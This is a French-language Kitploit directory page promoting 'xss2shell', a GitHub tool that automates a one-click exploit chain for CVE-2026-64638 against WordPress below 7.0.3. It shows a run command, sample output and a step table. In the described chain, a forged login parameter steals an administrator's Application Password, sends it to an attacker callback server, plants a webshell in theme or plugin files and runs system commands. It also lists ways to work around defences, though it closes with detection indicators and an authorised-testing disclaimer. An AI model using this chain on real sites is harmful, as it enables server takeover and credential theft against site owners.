Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

FluxContactConfidentialité© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
xss2shell — CVE-2026-64638 | WordPress < 7.0.3 XSS stocké pré-authentification → RCE | Kitploit
Outils/GitHubGitHub/alisalive/xss2shell
Analyse des VulnérabilitésExploitationExploitation d'Applications WebPost-ExploitationSécurité WebTests d'IntrusionOutil d'Accès à DistanceDéveloppement de Charges Utiles
GitHubalisalive/xss2shell

xss2shell

CVE-2026-64638 | WordPress < 7.0.3 XSS stocké pré-authentification → RCE

Voir le dépôt
21il y a 16 joursPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager
xss2shell



CVE WordPress Python License

Tous les PoC publics pour cette CVE sont cassés. Celui-ci fonctionne.

La faille · Démarrage rapide · Fonctionnement · Limitations


La faille

WordPress < 7.0.3 n'assainit pas le paramètre log (nom d'utilisateur) dans wp-login.php. La valeur est stockée et rendue dans la session authentifiée de l'administrateur — une XSS stockée pré-authentification qui permet, en un seul clic, de prendre le contrôle total du serveur.

Victim clicks lure  --->  XSS fires  --->  App Password stolen  --->  Shell planted  --->  RCE

Démarrage rapide

# Zero dependencies. Pure Python 3.
python xss2shell.py -t http://target.com -c "id"
Exemple de sortie
[*] Target: http://target.com
[+] WordPress login found
[+] Listening on 192.168.1.5:9443
[*] Send this to the admin -> http://192.168.1.5:9443/
[*] Waiting for victim ...
[+] Victim opened the attacker page
[+] XSS payload POSTed to wp-login.php
[+] Application Password stolen: user=admin pass=XXXX XXXX XXXX XXXX
[+] Theme editor -> webshell in functions.php

============================================================
[+] RCE via theme
[+] $ id
------------------------------------------------------------
uid=33(www-data) gid=33(www-data) groups=33(www-data)
============================================================

[+] Shell -> http://target.com/?xss2shell_cmd=whoami
[+] Done.

Utilisation

usage: xss2shell.py [-h] -t TARGET -c COMMAND [--lhost IP] [--lport PORT] [--keep]

  -t, --target    Target WordPress URL
  -c, --command   OS command to execute on the server
  --lhost         Attacker callback IP (default: auto-detect)
  --lport         Attacker callback port (default: random)
  --keep          Don't clean up artifacts after exploitation

Fonctionnement

ÉtapeActionDétail
1. XSSInjection via wp-login.phpUn paramètre log forgé avec du DOM clobbering (<area id=ajaxurl>) détourne l'URL AJAX de WP, déclenchant automatiquement l'approbation du mot de passe d'application via JSONP
2. VolExfiltration du mot de passe d'applicationauthorize-application.php crée silencieusement un mot de passe d'application ; success_url l'envoie à l'attaquant
3. ShellÉcriture d'un webshell (3 solutions de repli)Éditeur de thème → functions.php · Téléversement de plugin → xss2shell/shell.php · Éditeur de plugin → fichier de plugin existant
4. RCEExécution de commandes systèmeLe webshell exécute shell_exec(), renvoie une sortie JSON, l'outil vérifie et nettoie automatiquement

Versions affectées

VersionStatut
WordPress < 7.0.3Vulnérable
WordPress >= 7.0.3Corrigé

Limitations

ConditionImpact
DISALLOW_FILE_EDITÉditeurs de thème/plugin bloqués — seul le téléversement ZIP fonctionne
DISALLOW_FILE_MODSLes 3 méthodes bloquées — pas de RCE
WAF (Cloudflare, Wordfence)Peut filtrer la charge utile XSS ou les requêtes de webshell
disable_functions dans PHPshell_exec bloqué — sortie vide
Bloqueur de pop-upCasse la chaîne de pop-ups
En-têtes CSP strictsBloque le JS inline ou le fetch cross-origin

Détection

Recherchez ces indicateurs si xss2shell a été utilisé contre votre site :

  • Mot de passe d'application pour le nom d'application XSS2Shell-Poc-Wordsec
  • Plugin xss2shell dans wp-content/plugins/
  • Chaîne xss2shell_cmd dans functions.php ou tout fichier de plugin
  • Requêtes JSONP vers /?rest_route=/&_method=GET&_jsonp=

Pourquoi cet outil existe

Tous les PoC publics pour CVE-2026-64638 s'arrêtent à alert(1) ou nécessitent des étapes manuelles qu'aucun trieur ne peut reproduire. Cet outil fournit l'exploitation complète de la chaîne en une seule commande — de zéro authentification jusqu'à la RCE. Conçu pour les chercheurs en sécurité qui ont besoin de preuves, pas de théorie.

Avertissement

Pour les tests de sécurité autorisés et à des fins éducatives uniquement. À utiliser uniquement contre des systèmes que vous possédez ou pour lesquels vous disposez d'une autorisation écrite explicite de tester. L'accès non autorisé à des systèmes informatiques est illégal.


WordSec · CVE-2026-64638 · Corrigé dans WordPress 7.0.3

Télécharger l’outil